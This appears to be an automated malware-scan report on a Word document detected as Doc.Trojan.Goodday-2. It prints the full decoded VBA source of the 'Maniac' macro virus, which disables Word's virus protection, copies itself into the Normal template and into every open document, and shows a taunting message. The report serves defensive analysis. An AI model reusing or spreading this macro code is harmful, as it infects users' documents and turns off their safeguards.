MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains VBA macros, including AutoOpen and Auto_Close, which are commonly used to execute malicious code upon opening or closing a document. The macro 'Maniac' attempts to copy itself to other documents, indicating a potential for propagation. The presence of these macros and the ClamAV detection strongly suggest malicious intent, likely as a macro-based downloader or dropper.
Heuristics 5
-
ClamAV: Doc.Trojan.Goodday-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Goodday-2
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2296 bytes |
SHA-256: 084f33e26f8d7f53a1275f0474f76eb9037cd29303764a882384be877dfa764e |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Maniac"
Sub AutoOpen()
Attribute AutoOpen.VB_Description = "宏在 99-05-05 由 Administrator 创建"
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.AutoOpen"
MacroCopy "open"
End Sub
Sub AutoNew()
MacroCopy "new"
End Sub
Sub AutoClose()
MacroCopy "close"
End Sub
Sub MacroCopy(ctype)
Application.Options.VirusProtection = False
TExist = 0
'For Each xItem In NormalTemplate.VBProject.VBComponents
For Each xitem In NormalTemplate.VBProject.VBComponents
'If xitem.Type = vbext_ct_StdModule Then Count = Count + 1
If xitem.Name = "Maniac" Then TExist = 1
Next xitem
If TExist = 0 Then _
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Maniac", Object:=wdOrganizerObjectProjectItems
For Each openDoc In Documents
'MsgBox openDoc.FullName
DExist = 0
For Each xitem In openDoc.VBProject.VBComponents
If xitem.Name = "Maniac" Then DExist = 1
Next xitem
If DExist = 0 Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=openDoc.FullName, Name:="Maniac", Object:=wdOrganizerObjectProjectItems
If ctype = "open" Then openDoc.Save
End If
Next openDoc
End Sub
Sub AutoExec()
msg = Chr(13) + Chr(13)
msg = msg + Application.UserName + ":" + Chr(13) & Chr(13)
msg = msg + " 你好,很高兴来到你的计算机,我喜欢" + Chr(13) + Chr(13)
msg = msg + "这里的一切,尤其是Microsoft Word,它使" + Chr(13) + Chr(13)
msg = msg + "我们的工作变得异常有趣。" + Chr(13) + Chr(13)
msg = msg + " 如果我的到来改变了你单调的生活,请" + Chr(13) + Chr(13)
msg = msg + "不要介意。" + Chr(13) + Chr(13)
msg = msg + " 愿计算机前的你心情愉快。" + Chr(13) + Chr(13) + Chr(13)
msg = msg + " Maniac write by " + Date$ + " "
MsgBox msg, vbInformation, "Maniac 1.0"
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.